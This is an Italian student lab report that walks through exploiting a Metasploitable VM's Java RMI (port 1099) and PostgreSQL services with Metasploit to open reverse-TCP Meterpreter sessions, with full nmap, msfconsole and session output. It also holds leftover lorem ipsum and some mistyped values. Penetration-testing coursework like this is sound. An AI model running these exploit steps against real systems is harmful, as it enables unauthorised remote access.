



PROGETTO SETTIMANALE S7L5



TRACCIA

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.75.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.75.112

Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:

- configurazione di rete.
- informazioni sulla tabella di routing della macchina vittima.



CONFIGURAZIONE IP



SET IP KALI 192.168.1.11

01

Per prima cosa ci collegiamo alla nostra Kali e andiamo sul terminale e scriviamo il comando **nano /etc/Network/interfaces**

02

Settiamo l'indirizzo IP come da immagine in figura

03

Riavviamo la macchina per rendere effettive le modifiche

GNU nano 8.0

```
# This file describes the network interfaces  
# and how to activate them. For more  
# information about ifconfig see  
# /usr/share/doc/ifconfig/README.gz  
  
source /etc/network/interfaces.d/*  
  
# The loopback network interface  
auto lo  
iface lo inet loopback  
  
auto eth0  
iface eth0 inet static  
    address 192.168.75.111  
    netmask 255.255.255.0  
    gateway 192.168.75.1
```



SET IP METASPLOITABLE

192.168.112

01

Per prima cosa ci colleghiamo alla nostra Metasploitable e scriviamo il comando **nano /etc/Network/interfaces**

02

Settiamo l'indirizzo IP come da immagine in figura

03

Riavviamo la macchina per rendere effettive le modifiche

```
Metasploitable [In esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto
GNU nano 2.0.7 File: /etc/Network/interfaces

# This file describes the network interfaces for the system
# and how to activate them. For more information, see
# the manual pages for ifconfig(8) and ifup(8)

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.75.112
netmask 255.255.255.0
network 192.168.75.0
broadcast 192.168.75.255
gateway 192.168.75.1
```



OUR MISSION

01

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco

02

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco

03

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco





ATTACCO PORTA 1099 - JAVA RMI



SCANSIONE MACCHINA TARGET CON NMAP

01

Dalla nostra macchina kali eseguiamo il comando **nmap -p- -sV -A 192.168.75.112**

02

Individuiamo la porta di nostro interesse, nel nostro caso la 1099 - java-rmi

```
(kali㉿kali)-[~]
$ nmap -p- -sV -A 192.168.75.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 03:56 EDT
Stats: 0:02:29 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 96.67% done; ETC: 03:58 (0:00:04 remaining)
Nmap scan report for 192.168.75.112
Host is up (0.037s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-syst:
|_STAT:
| FTP server status:
|   Connected to 192.168.75.111
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPD 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp    Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME
53/tcp    open  domain  ISC BIND 9.4.2
| dns-nsid:
|_bind.version: 9.4.2
80/tcp    open  http    Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind 2 (RPC #100000)
| rpcinfo:
|   program version port/proto service
|   100000  2        111/tcp  rpcbind
|   100000  2        111/udp  rpcbind
|   100003  2,3,4    2049/tcp  nfs
|   100003  2,3,4    2049/udp  nfs
|   100005  1,2,3    47033/tcp  mountd
|   100005  1,2,3    56775/udp  mountd
|   100021  1,3,4    43346/udp  nlockmgr
|   100021  1,3,4    49282/tcp  nlockmgr
|   100024  1        56321/tcp  status
|_100024  1        57370/udp  status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec    netkit-rsh rexecd
513/tcp   open  login?   Netkit rshd
514/tcp   open  shell?   Netkit rshd
1099/tcp  open  java-rmi  GNU Classpath grmiregistry
1524/tcp  open  bindshell  Metasploitable root shell
2049/tcp  open  nfs     2-4 (RPC #100003)
2121/tcp  open  ftp     ProFTPD 1.3.1
3306/tcp  open  mysql   MySQL 5.0.51a-3ubuntu5
```



ACCESSO MSFCONSOLE

01

Adesso utilizzando il comando msfconsole accediamo al Metasploitable framework



RICERCA E SELEZIONE EXPLOIT

01

Ricerca ora l'exploit più consono al nostro caso, in figura
java_rmi_server

The screenshot shows a terminal window with the command `sf6 > search java rmi default`. Below it, a list of modules is displayed:

#	Name
0	exploit/multi/misc/java_rmi_server
1	__ target: Generic (Java Payload)
2	__ target: Windows x86 (Native Payload)
3	__ target: Linux x86 (Native Payload)
4	__ target: Mac OS X PPC (Native Payload)
5	__ target: Mac OS X x86 (Native Payload)

Below the table, there is some descriptive text about interacting with the module.



CONFIGURAZIONE EXPLOIT

01

Una volta selezionato l'exploit utilizzando il comando `<<use 0>>` andiamo a verificare le configurazioni dell'exploit tramite il comando `<<show options>>`

02

A questo punto configuriamo il Remote Host tramite il comando `<<set rhosts>>` seguito dall'indirizzo IP della macchina Target

The screenshot shows a terminal session in Metasploit Framework (msf6) with the following commands and output:

```
msf6 > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
Name          Current Setting  Required  Description
HTTPDELAY     10              yes       Time that the HTTP Server will wait for t
RHOSTS        BOF.c           yes       The target host(s), see https://docs.meta
RPORT         1099             yes       The target port (TCP)
SRVHOST       0.0.0.0          yes       The local host or network interface to li
SRVPORT       8080             yes       The local port to listen on.
SSL           false            no        Negotiate SSL for incoming connections
SSLCert       Path to a custom SSL certificate (default
URI PATH      no                no        The URI to use for this exploit (default

Payload options (java/meterpreter/reverse_tcp):
Name          Current Setting  Required  Description
LHOST         192.168.75.111   yes       The listen address (an interface may be speci
LPORT         4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.75.112
rhosts => 192.168.75.112
```



CONFIGURAZIONE EXPLOIT

01

Una volta selezionato l'exploit utilizzando il comando <>**use 0**>> andiamo a verificare le configurazioni dell'exploit tramite il comando <>**show options**>>

02

A questo punto configuriamo il Remote Host tramite il comando <>**set rhosts**>> seguito dall'indirizzo IP della macchina Target

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

```
[*] Started reverse TCP handler on 192.168.75.111:4444
[*] 192.168.75.112:1099 - Using URL: http://192.168.75.111:8080/hpDNigPFr7>
[*] 192.168.75.112:1099 - Server started.
[*] 192.168.75.112:1099 - Sending RMI Header ...
[*] 192.168.75.112:1099 - Sending RMI Call ...
[*] 192.168.75.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.75.112
[*] Meterpreter session 1 opened (192.168.75.111:4444 → 192.168.75.112:4444)
```



RETE MACCHINA TARGET

01

Una volta che l'exploit è andato a buon fine possiamo utilizzare una serie di comandi per effettuare diverse operazioni sulla macchina target, una di queste è visionare la configurazione di rete della macchina Target tramite il comando `<<ifconfig>>` come mostrato in figura

```
meterpreter > ifconfig
```

```
Interface 1
```

```
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

```
Progetto S7...
Interface 2
```

```
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.75.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feb5:5ee1
IPv6 Netmask : ::
```



ROUTING TABLE MACCHINA

TARGET

01

Allo stesso modo possiamo recuperare le informazioni di routing presenti sulla macchina tramite il comando <>**route**>>

```
meterpreter > route
```

```
IPv4 network routes
```

Subnet	Netmask	Gat
127.0.0.1	255.0.0.0	0.0
192.168.75.112	255.255.255.0	0.0

```
IPv6 network routes
```

Subnet	Netmask
:: 1	::
fe80::a00:27ff:feb5:5ee1	::

```
meterpreter > █
```



ATTACCO POSTGRESOL



RICERCA E SELEZIONE EXPLOIT

01

Da msfconsole, utilizzando il comando <>**search**>> seguito dalla parola chiave **postgresql** cerchiamo l'exploit più consono al nostro caso

02

In questo caso quello che fa per noi si trova alla riga 23, quindi con il comando <>**use**>> seguito dal path o dal numero di riga del nostro exploit, possiamo selezionarlo.

```
msf6 > search postgresql
Matching Modules
=====
#  Name
- 0 auxiliary/server/capture/postgresql
1 post/linux/gather/enum_users_history
2 exploit/multi/http/manage_engine_dc_pmp_sqli
3   \_ target: Automatic
4     \_ target: Desktop Central v8 ≥ b80200 / v9 < b90039 (PostgreSQL) on Windows
5     \_ target: Desktop Central MSP v8 ≥ b80200 / v9 < b90039 (PostgreSQL) on Windows
6     \_ target: Desktop Central [MSP] v7 ≥ b70200 / v8 / v9 < b90039 (MySQL) on Windows
7     \_ target: Password Manager Pro [MSP] v6 ≥ b6800 / v7 < b7003 (PostgreSQL) on Windows
8     \_ target: Password Manager Pro v6 ≥ b6500 / v7 < b7003 (MySQL) on Windows
9     \_ target: Password Manager Pro [MSP] v6 ≥ b6800 / v7 < b7003 (PostgreSQL) on Linux
10    \_ target: Password Manager Pro v6 ≥ b6500 / v7 < b7003 (MySQL) on Linux
11 auxiliary/admin/http/manageengine_pmp_privesc
12 exploit/multi/postgres/postgres_copy_from_program_cmd_exec
13   \_ target: Automatic
14     \_ target: Unix/OSX/Linux
15     \_ target: Windows - PowerShell (In-Memory)
16     \_ target: Windows (CMD)
17 exploit/multi/postgres/postgres_createLang
18 auxiliary/scanner/postgres/postgres_dbname_flag_injection
19 auxiliary/scanner/postgres/postgres_login
20 auxiliary/admin/postgres/postgres_readfile
21 auxiliary/admin/postgres/postgres_sql
22 auxiliary/scanner/postgres/postgres_version
23 exploit/linux/postgres/postgres_payload
24   \_ target: Linux x86
25   \_ target: Linux x86_64
26 exploit/windows/postgres/postgres_payload
27   \_ target: Windows x86
28   \_ target: Windows x64
29 auxiliary/admin/http/rails_devise_pass_reset
30 exploit/multi/http/rudder_server_sql_rce
31 post/linux/gather/vcenter_secrets_dump

Interact with a module by name or index. For example info 31, use 31 or use post/linux/ga
```

msf6 > use 23



CONFIGURAZIONE EXPLOIT

01

Ora possiamo verificare le configurazioni dell'exploit tramite il comando
<<show options>>

02

A questo punto configuriamo il Remote Host tramite il comando **<<set rhosts>>** seguito dall'indirizzo IP della macchina Target

```
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):
Name   Current Setting  Required  Description
VERBOS false          no        Enable verbose output

Used when connecting via an existing SESSION:
Name   Current Setting  Required  Description
SESSION          no           no        The session to run this module on

Used when making a new connection via RHOSTS:
Name   Current Setting  Required  Description
DATABASE postgres       no        The database to authenticate against
PASSWORD postgres       no        The password for the specified username. Leave blank for
RHOSTS          no           no        The target host(s), see https://docs.metasploit.com/docs
RPORT 5432            no        The target port
USERNAME postgres       no        The username to authenticate as

Progetto S7...
Payload options (linux/x86/meterpreter/reverse_tcp):
Name   Current Setting  Required  Description
LHOST          4444          yes      The listen address (an interface may be specified)
LPORT 4444          yes      The listen port

Exploit target:
Id  Name
--  --
0   Linux x86

View the full module info with the info, or info -d command.

msf6 exploit(linux/postgres/postgres_payload) > set rhosts 192.168.75.112
rhosts => 192.168.75.112
```



EXPLOIT

01

Adesso che abbiamo il nostro exploit configurato possiamo lanciarlo usando il comando <>**exploit**<>

02

A seguito di ciò vi comparirà la schermata mostrata in figura, cioè la sessione **Meterpreter** attiva.

```
msf6 exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.75.111:4444
[*] 192.168.75.112:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/AQnsNWuM.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.75.112
[*] Meterpreter session 1 opened (192.168.75.111:4444 → 192.168.75.112:56842) at 2024-07-12 04:48:05 -0400

meterpreter > help
Core Commands
=====
Command      Description
?           Help menu
background   Backgrounds the current session
bg           Alias for background
bgkill       Kills a background meterpreter script
bglist      Lists running background scripts
bgrun       Executes a meterpreter script as a background thread
channel     Displays information or control active channels
close       Closes a channel
detach      Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit        Terminate the meterpreter session
guid        Get the session GUID
help        Help menu
info        Displays information about a Post module
irb         Open an interactive Ruby shell on the current session
load        Load one or more meterpreter extensions
machine_id  Get the MSF ID of the machine attached to the session
pry         Open the Pry debugger on the current session
quit        Terminate the meterpreter session
read        Reads data from a channel
resource    Run the commands stored in a file
run         Executes a meterpreter script or Post module
secure      (Re)Negotiate TLV packet encryption on the session
sessions   Quickly switch to another session
use         Deprecated alias for "load"
uuid        Get the UUID for the current session
write       Writes data to a channel

Stdapi: File system Commands
=====
Command      Description
cat          Read the contents of a file to the screen
cd           Change directory
checksum    Retrieve the checksum of a file
chmod       Change the permissions of a file
cp           Copy source to destination
del          Delete the specified file
dir          List files (alias for ls)
download    Download a file or directory
edit        Edit a file
getlwd      Print local working directory (alias for lpwd)
getwd       Print working directory
```



THANK YOU